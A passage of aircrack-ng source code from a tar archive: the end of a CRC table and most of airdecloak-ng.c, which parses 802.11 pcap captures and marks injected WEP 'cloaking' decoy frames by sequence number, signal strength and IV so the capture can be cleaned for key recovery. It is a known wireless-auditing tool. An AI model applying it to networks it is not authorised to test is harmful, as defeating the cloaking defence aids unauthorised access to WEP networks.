0x93,0x73,0x2D,0x04 }, { 0x97,0x6A,0xE9,0x69 }, { 0xD6,0x6C,0x98,0xB2 }, { 0x54,0x60,0x7A,0x04 }, { 0x15,0x66,0x0B,0xDF }, { 0x59,0xDD,0x06,0xB5 }, { 0x18,0xDB,0x77,0x6E }, { 0x9A,0xD7,0x95,0xD8 }, { 0xDB,0xD1,0xE4,0x03 }, { 0xDF,0xC8,0x20,0x6E }, { 0x9E,0xCE,0x51,0xB5 }, { 0x1C,0xC2,0xB3,0x03 }, { 0x5D,0xC4,0xC2,0xD8 }, { 0x14,0xF0,0x3B,0xD8 }, { 0x55,0xF6,0x4A,0x03 }, { 0xD7,0xFA,0xA8,0xB5 }, { 0x96,0xFC,0xD9,0x6E }, { 0x92,0xE5,0x1D,0x03 }, { 0xD3,0xE3,0x6C,0xD8 }, { 0x51,0xEF,0x8E,0x6E }, { 0x10,0xE9,0xFF,0xB5 }, { 0xC3,0x87,0x7C,0x6F }, { 0x82,0x81,0x0D,0xB4 }, { 0x00,0x8D,0xEF,0x02 }, { 0x41,0x8B,0x9E,0xD9 }, { 0x45,0x92,0x5A,0xB4 }, { 0x04,0x94,0x2B,0x6F }, { 0x86,0x98,0xC9,0xD9 }, { 0xC7,0x9E,0xB8,0x02 }, { 0x8E,0xAA,0x41,0x02 }, { 0xCF,0xAC,0x30,0xD9 }, { 0x4D,0xA0,0xD2,0x6F }, { 0x0C,0xA6,0xA3,0xB4 }, { 0x08,0xBF,0x67,0xD9 }, { 0x49,0xB9,0x16,0x02 }, { 0xCB,0xB5,0xF4,0xB4 }, { 0x8A,0xB3,0x85,0x6F }, { 0x2C,0x6E,0x83,0xDA }, { 0x6D,0x68,0xF2,0x01 }, { 0xEF,0x64,0x10,0xB7 }, { 0xAE,0x62,0x61,0x6C }, { 0xAA,0x7B,0xA5,0x01 }, { 0xEB,0x7D,0xD4,0xDA }, { 0x69,0x71,0x36,0x6C }, { 0x28,0x77,0x47,0xB7 }, { 0x61,0x43,0xBE,0xB7 }, { 0x20,0x45,0xCF,0x6C }, { 0xA2,0x49,0x2D,0xDA }, { 0xE3,0x4F,0x5C,0x01 }, { 0xE7,0x56,0x98,0x6C }, { 0xA6,0x50,0xE9,0xB7 }, { 0x24,0x5C,0x0B,0x01 }, { 0x65,0x5A,0x7A,0xDA }, { 0xB6,0x34,0xF9,0x00 }, { 0xF7,0x32,0x88,0xDB }, { 0x75,0x3E,0x6A,0x6D }, { 0x34,0x38,0x1B,0xB6 }, { 0x30,0x21,0xDF,0xDB }, { 0x71,0x27,0xAE,0x00 }, { 0xF3,0x2B,0x4C,0xB6 }, { 0xB2,0x2D,0x3D,0x6D }, { 0xFB,0x19,0xC4,0x6D }, { 0xBA,0x1F,0xB5,0xB6 }, { 0x38,0x13,0x57,0x00 }, { 0x79,0x15,0x26,0xDB }, { 0x7D,0x0C,0xE2,0xB6 }, { 0x3C,0x0A,0x93,0x6D }, { 0xBE,0x06,0x71,0xDB }, { 0xFF,0x00,0x00,0x00 } }; #endif /* crctable.h */ aircrack-ng-1.2-rc4/src/airdecloak-ng.c0000644000000000000000000014212312660207441016361 0ustar rootroot/* * WEP Cloaking filtering * * Copyright (C) 2008-2016 Thomas d'Otreppe * * Thanks to Alex Hernandez aka alt3kx for the hardware. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include "airdecloak-ng.h" #include "version.h" #include "osdep/radiotap/radiotap_iter.h" unsigned char buffer[65536]; char * _essid; char * _filename_output_invalid; char * _filename_output_cloaked; char * _filename_output_filtered; FILE * _output_cloaked_packets_file; FILE * _output_clean_capture_file; FILE * _input_file; struct pcap_file_header _pfh_in; struct pcap_file_header _pfh_out; long _filters; int _is_wep; unsigned char _bssid[6]; int _options_drop_fragments = 0; int _options_disable_retry = 0; int _options_disable_base_filter = 0; int _options_assume_null_packets_uncloaked = 0; struct decloak_stats stats; int getBits(unsigned char b, int from, int nb_bits) { unsigned int value = (unsigned int)b; unsigned int and_1st = 0; int i; if (from < 0 || from > 7 || nb_bits <= 0 || (from + nb_bits) > 8) { return -1; } for (i = from; i < from + nb_bits; i++) { and_1st += 1 << i; } value &= and_1st; value >>= from; return value; } FILE * openfile(const char * filename, const char * mode, int fatal) { FILE * f; if( ( f = fopen( filename, mode ) ) == NULL ) { perror( "fopen failed\n" ); printf( "Could not open \"%s\" in \"%s\" mode.\n", filename, mode ); if (fatal) { exit(1); } } return f; } // Return 1 on success, 0 on failure BOOLEAN write_packet(FILE * file, struct packet_elt * packet) { // TODO: Do not forget to swap what has to be swapped if needed (caplen, ...) int result; unsigned int caplen = packet->header.caplen; // Write packet header if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( packet->header.caplen ); // Make sure it is re-swapped CORRECTLY -> OK result = fwrite(&(packet->header), 1, PACKET_HEADER_SIZE, file); if (result != PACKET_HEADER_SIZE) { perror("fwrite(packet header) failed"); return false; } // Write packet result = fwrite(packet->packet, 1, caplen, file); if (result != (int)caplen) { perror("fwrite(packet) failed"); return false; } return true; } FILE * init_new_pcap(const char * filename) { FILE * f; f = openfile(filename, "wb", 1); if (f != NULL) { if( fwrite( &_pfh_out, 1, sizeof( _pfh_out ), f ) != (size_t) sizeof( _pfh_out ) ) { perror( "fwrite(pcap file header) failed" ); } } return f; } FILE * open_existing_pcap(const char * filename) { FILE * f; size_t temp_sizet; f = fopen(filename, "rb"); if( f == NULL ) { perror( "Unable to open pcap" ); return NULL; } temp_sizet = (size_t) sizeof( _pfh_in ); if( fread( &_pfh_in, 1, temp_sizet, f ) != temp_sizet ) { perror( "fread(pcap file header) failed" ); fclose(f); return NULL; } if( _pfh_in.magic != TCPDUMP_MAGIC && _pfh_in.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", filename ); fclose(f); return NULL; } _pfh_out = _pfh_in; if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( _pfh_in.linktype ); if( _pfh_in.linktype != LINKTYPE_IEEE802_11 && _pfh_in.linktype != LINKTYPE_PRISM_HEADER && _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && _pfh_in.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", filename ); fclose(f); return NULL; } else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { printf("Radiotap header found. Parsing Radiotap is experimental.\n"); } else if (_pfh_in.linktype == LINKTYPE_PPI_HDR) { printf("PPI not yet supported\n"); fclose(f); return NULL; } //_pcap_linktype = _pfh_in.linktype; return f; } BOOLEAN initialize_linked_list() { _packet_elt_head = (struct packet_elt_header *)malloc(sizeof(struct packet_elt_header)); _packet_elt_head->first = ( struct packet_elt *) malloc(sizeof(struct packet_elt)); _packet_elt_head->last = _packet_elt_head->first; _packet_elt_head->current = _packet_elt_head->first; _packet_elt_head->current->complete = 0; _packet_elt_head->current->prev = NULL; // First packet, no previous _packet_elt_head->current->next = NULL; _packet_elt_head->nb_packets = 1; return true; } BOOLEAN add_node_if_not_complete() { if (_packet_elt_head->current->complete == 1) { // Allocate new packet _packet_elt_head->current->next = (struct packet_elt *) malloc(sizeof(struct packet_elt)); _packet_elt_head->current->next->prev = _packet_elt_head->current; _packet_elt_head->current = _packet_elt_head->current->next; _packet_elt_head->current->complete = 0; _packet_elt_head->nb_packets +=1; // Last will be set at the end of the while when everything went ok } // No free of the *packet pointer because it is only set when everything is ok => if a packet is not ok, it will never have *packet malloced // Alway reset is_cloaked field and dropped field _packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet _packet_elt_head->current->is_dropped = 0; return true; } void set_node_complete() { _packet_elt_head->current->complete = 1; _packet_elt_head->last = _packet_elt_head->current; } void remove_last_uncomplete_node() { struct packet_elt * packet; if (_packet_elt_head->current->complete == 0) { packet = _packet_elt_head->current; _packet_elt_head->nb_packets -=1; _packet_elt_head->current->prev->next = NULL; free(packet); } } // Requirement: initialize_linked_list() called struct packet_elt * getPacketNr(int position) { struct packet_elt * packet = _packet_elt_head->first; int i = 0; while (i < position) { if (packet->next == NULL) { return NULL; } packet = packet->next; } return packet; } char * iv2string(unsigned char * iv) { char * string = (char *)malloc(9); snprintf(string, 9, "%02X %02X %02X", iv[0], iv[1], iv[2]); return string; } char * icv2string(unsigned char * icv) { char * string = (char *)malloc(12); snprintf(string, 12, "%02X %02X %02X %02X", icv[0], icv[1], icv[2], icv[3]); return string; } void print_packet(struct packet_elt * packet) { char * temp; printf("Packet length: %d\n", packet->length); printf("Frame type: %d (subtype: %d) - First byte: %d\n", packet->frame_type, packet->frame_subtype, packet->version_type_subtype); temp = mac2string(packet->bssid); printf("BSSID: %s\n",temp); free(temp); temp = mac2string(packet->source); printf("Source: %s\n",temp); free(temp); temp = mac2string(packet->destination); printf("Destination: %s\n",temp); free(temp); printf("Sequence number: %d (Fragment #: %d)\n", packet->sequence_number, packet->fragment_number); temp = iv2string(packet->iv); printf("IV: %s (Key index: %d)\n", temp, packet->key_index); free(temp); temp = icv2string(packet->icv); printf("ICV: %s\n", temp); free(temp); printf("Signal: %d - Retry bit: %d - is cloaked: %d\n", packet->signal_quality, packet->retry_bit, packet->is_cloaked); } int get_rtap_signal(int caplen) { struct ieee80211_radiotap_iterator iterator; struct ieee80211_radiotap_header *rthdr; rthdr = (struct ieee80211_radiotap_header *)buffer; if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0) return 0; while (ieee80211_radiotap_iterator_next(&iterator) >= 0) { if (iterator.this_arg_index == IEEE80211_RADIOTAP_DBM_ANTSIGNAL) return *iterator.this_arg; if (iterator.this_arg_index == IEEE80211_RADIOTAP_DB_ANTSIGNAL) return *iterator.this_arg; if (iterator.this_arg_index == IEEE80211_RADIOTAP_LOCK_QUALITY) return *iterator.this_arg; } return 0; } // !!!! WDS not yet implemented BOOLEAN read_packets(void) { int i, start; time_t tt; unsigned char * h80211; size_t bytes_read; i=0; memset( &stats, 0, sizeof( stats ) ); tt = time( NULL ); switch(_pfh_in.linktype) { case LINKTYPE_PRISM_HEADER: start = 144; // based on madwifi-ng break; case LINKTYPE_RADIOTAP_HDR: start = (int)(buffer[2]); // variable length! break; case LINKTYPE_IEEE802_11: // 0 case LINKTYPE_PPI_HDR: // ? default: start = 0; break; } // Show link type printf("Link type (Prism: %d - Radiotap: %d - 80211: %d - PPI - %d): ", LINKTYPE_PRISM_HEADER, LINKTYPE_RADIOTAP_HDR, LINKTYPE_IEEE802_11, LINKTYPE_PPI_HDR); switch (_pfh_in.linktype) { case LINKTYPE_PRISM_HEADER: puts("Prism"); break; case LINKTYPE_RADIOTAP_HDR: puts("Radiotap"); break; case LINKTYPE_IEEE802_11: puts("802.11"); break; case LINKTYPE_PPI_HDR: puts("PPI"); break; default: printf("Unknown (%d)\n", _pfh_in.linktype); break; } // Initialize double linked list. initialize_linked_list(); while( 1 ) { if( time( NULL ) - tt > 0 ) { // update the status line every second printf( "\33[KRead %ld packets...\r", stats.nb_read ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ // Only malloc if complete add_node_if_not_complete(); //puts("Reading packet header"); bytes_read = fread( &( _packet_elt_head->current->header ), 1, PACKET_HEADER_SIZE, _input_file ); if( bytes_read != (size_t) PACKET_HEADER_SIZE ) { if (bytes_read != 0) { printf("Failed to read packet header.\n"); } else { // Normal, reached EOF. //printf("Reached EOF.\n"); } break; } if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( _packet_elt_head->current->header.caplen ); if( _packet_elt_head->current->header.caplen <= 0 || _packet_elt_head->current->header.caplen > 65535 ) { printf( "Corrupted file? Invalid packet length %d.\n", _packet_elt_head->current->header.caplen ); break; } // Reset buffer memset(buffer, 0, 65536); // Read packet from file bytes_read = fread( buffer, 1, _packet_elt_head->current->header.caplen, _input_file ); if( bytes_read != (size_t) _packet_elt_head->current->header.caplen ) { printf("Error reading the file: read %lu bytes out of %d.\n", (unsigned long) bytes_read, _packet_elt_head->current->header.caplen); break; } stats.nb_read++; // Put all stuff in the packet header and // ---------------------------- Don't remove anything ---------------------- // ---------------------------- Just know where the packet start ----------- h80211 = buffer + start; // Know the kind of packet _packet_elt_head->current->frame_type = getBits(*h80211, 2, 2); #ifdef DEBUG printf("Frame type: %d\n", _packet_elt_head->current->frame_type); #endif _packet_elt_head->current->version_type_subtype = *h80211; #ifdef DEBUG printf("First byte: %x\n",*h80211); #endif // Filter out unknown packet types and control frames if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA && _packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT) { // Don't care about the frame if it's a control or unknown frame). if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL) { // Unknown frame type, log it //printf("Unknown frame type: %d\n", packet->frame_type); // ------------- May be interesting to put all those packets in a separate file } continue; } if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT) { // Assumption: Management packets are not cloaked (may change in the future) _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA){ _packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS; } // Retry bit _packet_elt_head->current->retry_bit = getBit(*(h80211+1), 3); // More fragments bit _packet_elt_head->current->more_fragments_bit = getBit(*(h80211+1), 2); if (_packet_elt_head->current->more_fragments_bit && _options_drop_fragments) { _packet_elt_head->current->is_dropped = 1; } // TODO: Get the speed from the packet if radiotap/prism header exist. // TODO: Get also the channel from the headers (the sensor may inject // cloaked frames on a channel is not the same as the AP) #ifdef DEBUG printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit); printf("More fragments bit: %d\n", _packet_elt_head->current->more_fragments_bit); #endif /*------------------------------- drop if control frame (does not contains SN) ----------------------*/ // TODO: We should care about control frames since they are not cloaked // and they can be usefull for signal filtering (have a better average). /* check the BSSID */ switch( h80211[1] & 3 ) { case 0: // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc) memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 0; _packet_elt_head->current->toDS = 0; break; case 1: // To DS = 1, From DS = 0: BSSID, SA, DA (To DS) memcpy( _packet_elt_head->current->bssid, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->destination, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 0; _packet_elt_head->current->toDS = 1; break; case 2: // To DS = 0, From DS = 1: DA, BSSID, SA (From DS) memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 1; _packet_elt_head->current->toDS = 0; break; case 3: // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS) memcpy( _packet_elt_head->current->source, h80211 + 24, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->destination, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 1; _packet_elt_head->current->toDS = 1; break; } #ifdef DEBUG printf("From DS: %d - ToDS: %d\n", _packet_elt_head->current->fromDS, _packet_elt_head->current->toDS); printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->bssid[0], _packet_elt_head->current->bssid[1], _packet_elt_head->current->bssid[2], _packet_elt_head->current->bssid[3], _packet_elt_head->current->bssid[4], _packet_elt_head->current->bssid[5]); printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->source[0], _packet_elt_head->current->source[1], _packet_elt_head->current->source[2], _packet_elt_head->current->source[3], _packet_elt_head->current->source[4], _packet_elt_head->current->source[5]); printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->destination[0], _packet_elt_head->current->destination[1], _packet_elt_head->current->destination[2], _packet_elt_head->current->destination[3], _packet_elt_head->current->destination[4], _packet_elt_head->current->destination[5]); #endif // Filter out packets not belonging to our BSSID if ( memcmp( _packet_elt_head->current->bssid, _bssid, 6)) { // Not the BSSID we are looking for //printf("It's not the BSSID we are looking for.\n"); continue; } // Grab sequence number and fragment number _packet_elt_head->current->sequence_number = ((h80211[22]>>4)+(h80211[23]<<4)); // 12 bits _packet_elt_head->current->fragment_number = getBits(h80211[23], 4,4); // 4 bits // drop frag option if (_options_drop_fragments && _packet_elt_head->current->fragment_number) { _packet_elt_head->current->is_dropped = 1; } #ifdef DEBUG printf("Sequence: %d - Fragment: %d\n", _packet_elt_head->current->sequence_number, _packet_elt_head->current->fragment_number); #endif // Get the first beacon and search for WEP only // if not (data) wep, stop completely processing (_is_wep) if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT) { // Get encryption from beacon/probe response if( h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE ) { if( ( h80211[34] & 0x10 ) >> 4 ) { _is_wep = 1; // Make sure it's not WPA // TODO: See airodump-ng around line 1500 } else { // Completely stop processing printf("FATAL ERROR: The network is not WEP (byte 34: %d)\n.", h80211[34]); exit(1); } } } if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { // Copy IV memcpy(_packet_elt_head->current->iv, (h80211 + 24), 3); #ifdef DEBUG printf("IV: %X %X %X\n", _packet_elt_head->current->iv[0], _packet_elt_head->current->iv[1], _packet_elt_head->current->iv[2]); #endif // Copy key index _packet_elt_head->current->key_index = h80211[27]; #ifdef DEBUG printf("Key index: %d\n", _packet_elt_head->current->key_index); #endif // Copy checksum memcpy(_packet_elt_head->current->icv, buffer + (_packet_elt_head->current->header.caplen) - 4, 4); #ifdef DEBUG printf("ICV: %X %X %X %X\n", _packet_elt_head->current->icv[0], _packet_elt_head->current->icv[1], _packet_elt_head->current->icv[2], _packet_elt_head->current->icv[3]); #endif } else { // Management packet (control packets were filtered out. _packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1] = _packet_elt_head->current->iv[2] = 0; _packet_elt_head->current->key_index = 0; _packet_elt_head->current->icv[0] = _packet_elt_head->current->icv[1] = _packet_elt_head->current->icv[2] = _packet_elt_head->current->icv[3] = 0; #ifdef DEBUG printf("Not a data packet thus no IV, no key index, no ICV\n"); #endif } // Copy the packet itself _packet_elt_head->current->packet = (unsigned char *) malloc(_packet_elt_head->current->header.caplen); memcpy(_packet_elt_head->current->packet, buffer, _packet_elt_head->current->header.caplen); // Copy signal if exist _packet_elt_head->current->signal_quality = -1; if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER) { // Hack: pos 0x44 (at least on madwifi-ng) _packet_elt_head->current->signal_quality = buffer[0x44]; } else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { _packet_elt_head->current->signal_quality = get_rtap_signal( _packet_elt_head->current->header.caplen); } #ifdef DEBUG printf("Signal quality: %d\n", _packet_elt_head->current->signal_quality); #endif // Append to the list #ifdef ONLY_FIRST_PACKET puts("!!! Don't forget to append"); break; #else set_node_complete(); #endif } remove_last_uncomplete_node(); printf("Nb packets: %d \n", _packet_elt_head->nb_packets); return true; } void reset_current_packet_pointer() { _packet_elt_head->current = _packet_elt_head->first; } BOOLEAN reset_current_packet_pointer_to_ap_packet() { reset_current_packet_pointer(); return next_packet_pointer_from_ap(); } BOOLEAN reset_current_packet_pointer_to_client_packet() { reset_current_packet_pointer(); return next_packet_pointer_from_client(); } BOOLEAN next_packet_pointer_from_ap() { while (_packet_elt_head->current->toDS != 0) { if (next_packet_pointer() == false) { return false; } } if (_packet_elt_head->current->toDS == 0) { return true; } else { return false; } } BOOLEAN next_packet_pointer_from_client() { while (_packet_elt_head->current->toDS == 0) { if (next_packet_pointer() == false) { return false; } } if (_packet_elt_head->current->toDS == 1) { return true; } else { return false; } } BOOLEAN next_packet_pointer() { BOOLEAN success = false; // Go to next packet if not the last one if (_packet_elt_head->current != _packet_elt_head->last) { _packet_elt_head->current = _packet_elt_head->current->next; success = true; } return success; } BOOLEAN prev_packet_pointer() { BOOLEAN success = false; // Go to next packet if not the last one if (_packet_elt_head->current != _packet_elt_head->first) { _packet_elt_head->current = _packet_elt_head->current->prev; success = true; } return success; } int compare_SN_to_current_packet(struct packet_elt * packet) { if (_packet_elt_head->current->sequence_number > packet->sequence_number) { // Current packet SN is superior to packet SN return 1; } else if (_packet_elt_head->current->sequence_number < packet->sequence_number) { // Current packet SN is inferior to packet SN return -1; } // Identical return 0; } BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; if (_packet_elt_head->current->fromDS == packet->fromDS && _packet_elt_head->current->toDS == packet->toDS) { if (packet->fromDS == 1 && packet->toDS ==0) { // Coming from the AP, no other check needed // (BSSID check already done when creating this list) success = true; } else { // Also check MAC source if (maccmp(packet->source, _packet_elt_head->current->source) == 0) { success = true; } } } else if (packet->fromDS == 0 && packet->toDS == 0) { // Beacons (and some other packets) coming from the AP (both from and toDS are 0). if (_packet_elt_head->current->fromDS == 1 && _packet_elt_head->current->toDS == 0) { success = true; } } return success; } BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; while (success == false && prev_packet_pointer()) { success = current_packet_pointer_same_fromToDS_and_source(packet); } return success; } BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; // !!! Now we only have the packets from the BSSID. while (success == 0 && next_packet_pointer()) { success = current_packet_pointer_same_fromToDS_and_source(packet); } return success; } BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current() { return prev_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current); } BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current() { return next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current); } int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked() { // This filtered 1148 packets on a 300-350K capture (~150K were cloaked) // Filtering was done correctly, all packets marked as cloaked were really cloaked). struct packet_elt * current_packet; int how_far, nb_marked; puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or uncloaked"); // Start from the begining (useful comment) reset_current_packet_pointer(); nb_marked = 0; do { // We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME packet // PACKET_CHECKING_LENGTH packets later (ONLY NEXT PACKETS) // and if one of the packet has an identical SN, mark it as CLOAKED if (_packet_elt_head->current->is_cloaked != VALID_FRAME_UNCLOAKED && _packet_elt_head->current->is_cloaked != CLOAKED_FRAME) { // Go to next packet if frame is not valid continue; } current_packet = _packet_elt_head->current; //printf("Trying current packet: %d,%d (SN: %d)\n", current_packet->fromDS, current_packet->toDS, current_packet->sequence_number); //print_packet(_packet_elt_head->current); how_far = 0; while (++how_far <= PACKET_CHECKING_LENGTH && next_packet_pointer_same_fromToDS_and_source(current_packet) == true ) { switch (_packet_elt_head->current->is_cloaked) { case VALID_FRAME_UNCLOAKED: case CLOAKED_FRAME: // Status known, so go to next frame break; case POTENTIALLY_CLOAKED_FRAME: //puts("CFC_with_valid_packets_mark_others_cloaked() - Invalid frame status found: POTENTIALLY_CLOAKED_FRAME"); break; // Should never happen here case UKNOWN_FRAME_CLOAKING_STATUS: //printf("Found unknown cloaking status frame, checking it - tested: %d,%d (SN: %d)\n", // _packet_elt_head->current->fromDS, _packet_elt_head->current->toDS, _packet_elt_head->current->sequence_number); if (compare_SN_to_current_packet(current_packet) == 0) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_marked; } break; } } // Go back to the current packet _packet_elt_head->current = current_packet; } while (next_packet_pointer() == 1); // Reset packet pointer so that next usages of current packet // will start from the begining (in case it's forgotten). reset_current_packet_pointer(); printf("%d frames marked\n", nb_marked); return nb_marked; } int CFC_filter_duplicate_sn_ap() { int nb_packets = 0; puts("Cloaking - Removing the duplicate SN for the AP"); reset_current_packet_pointer(); return nb_packets; } int CFC_filter_duplicate_sn_client() { int nb_packets = 0; puts("Cloaking - Removing the duplicate SN for the client"); reset_current_packet_pointer(); return nb_packets; } int CFC_filter_duplicate_sn() { // This will remove a lot of legitimate packets unfortunatly return CFC_filter_duplicate_sn_ap() + CFC_filter_duplicate_sn_client(); } int get_average_signal_ap() { long all_signals; long nb_packet_used; int average_signal; // Init all_signals = nb_packet_used = 0; average_signal = -1; // Check if signal quality is included if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER || _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { if (reset_current_packet_pointer_to_ap_packet() == true) { // Calculate signal for all beacons and probe response (and count number of packets). do { if (_packet_elt_head->current->version_type_subtype == BEACON_FRAME || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) { ++nb_packet_used; all_signals += _packet_elt_head->current->signal_quality; } } while (next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current) == true); // Calculate the average if (nb_packet_used > 0) { average_signal = (int)(all_signals / nb_packet_used); if ( ((all_signals/ (double)nb_packet_used) - average_signal) * 100 > 50) { ++average_signal; } } printf("Average signal for AP packets: %d\n", average_signal); } else { puts("Average signal: No packets coming from the AP, cannot calculate it"); } } else { puts("Average signal cannot be calculated because headers does not include it"); } // Return return average_signal; } /** * Filter packets based on signal. * * Use signal from all beacons, make an average * This will allow to find out what packet are legitimate (coming from the AP) and thus removing cloaked packets * By being able to remove cloaked packets, we'll find out the signal of the sensor(s) * //and we'll be able to filter out the cloaked packets of clients. * * Enh: use signal from packets marked uncloaked instead of beacons. * * @return Number of frames marked cloaked. */ int CFC_filter_signal() { // Maximum variation of the signal for unknown status frame and potentially cloaked frames (up & down) #define MAX_SIGNAL_VARIATION 3 #define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2 int average_signal; int nb_packets = 0; puts("Cloaking - Signal filtering"); // 1. Get the average signal average_signal = get_average_signal_ap(); if (average_signal > 0) { reset_current_packet_pointer_to_ap_packet(); // Will be successful because signal > 0 do { switch (_packet_elt_head->current->is_cloaked) { case POTENTIALLY_CLOAKED_FRAME: // Max allowed variation for potentially cloaked packet is a bit lower // than the normal variation if (abs(_packet_elt_head->current->signal_quality - average_signal) > MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; break; } case UKNOWN_FRAME_CLOAKING_STATUS: // If variation is > max allowed variation, it's a cloaked packet if (abs(_packet_elt_head->current->signal_quality - average_signal) > MAX_SIGNAL_VARIATION) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; break; } if (_packet_elt_head->current->signal_quality - average_signal == 0) { // If there's no variation, I'm sure it's not a cloaked packet _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } else { // We could play with POTENTIALLY_CLOAKED frame depending on the variation // but currently, it's unloacked if inferior to the max allowed signal _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } break; case VALID_FRAME_UNCLOAKED: break; case CLOAKED_FRAME: break; default: break; } } while (next_packet_pointer_same_fromToDS_and_source_as_current() == true); } // TODO: Do it also for clients: Calculate the average for know cloaked frames // (each frame marked cloaked here) and then filter out wep cloaked frames. // or implement it as another filter (since clients may have the same signal // as the sensor). // Return return nb_packets; } int CFC_filter_consecutive_sn() { int nb_packets = 0; puts("Cloaking - Consecutive SN filtering"); nb_packets = CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client(); return nb_packets; } int CFC_filter_consecutive_sn_ap() { int nb_packets = 0; BOOLEAN next_packet_result = false; puts("Cloaking - Consecutive SN filtering (AP)"); // Filtering for the client is not easy at all, maybe we can base on the fact that wep cloaking clone everything in the packet // except the data (and ofc the SN). // So, atm filtering for the AP only (hoping the client is not uploading data ;)) reset_current_packet_pointer_to_ap_packet(); // Go to the first beacon or probe response. while ( !(_packet_elt_head->current->version_type_subtype == BEACON_FRAME || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) ) { next_packet_result = next_packet_pointer_same_fromToDS_and_source_as_current(); // Check if we didn't reach end of capture. if (next_packet_result == false) { break; } } // If end of capture, no packets have been filters. if (next_packet_result == false) { return 0; } puts("NYI"); return nb_packets; } int CFC_filter_consecutive_sn_client() { int nb_packets = 0; puts("Cloaking - Consecutive SN filtering (Client)"); // For consecutive SN of the client, if packets are cloaked, we can rely on null frames or probe request/association request. reset_current_packet_pointer_to_client_packet(); // while puts("Not yet implemented"); return nb_packets; } int CFC_filter_duplicate_iv() { unsigned char * ivs_table; int nb_packets = 0; puts("Cloaking - Duplicate IV filtering"); ivs_table = (unsigned char *) calloc(16777215, 1); if (ivs_table == NULL) { puts("Failed to allocate memory for IVs table, exiting"); exit(-1); } // 1. Get the list of all IV values (and number of duplicates 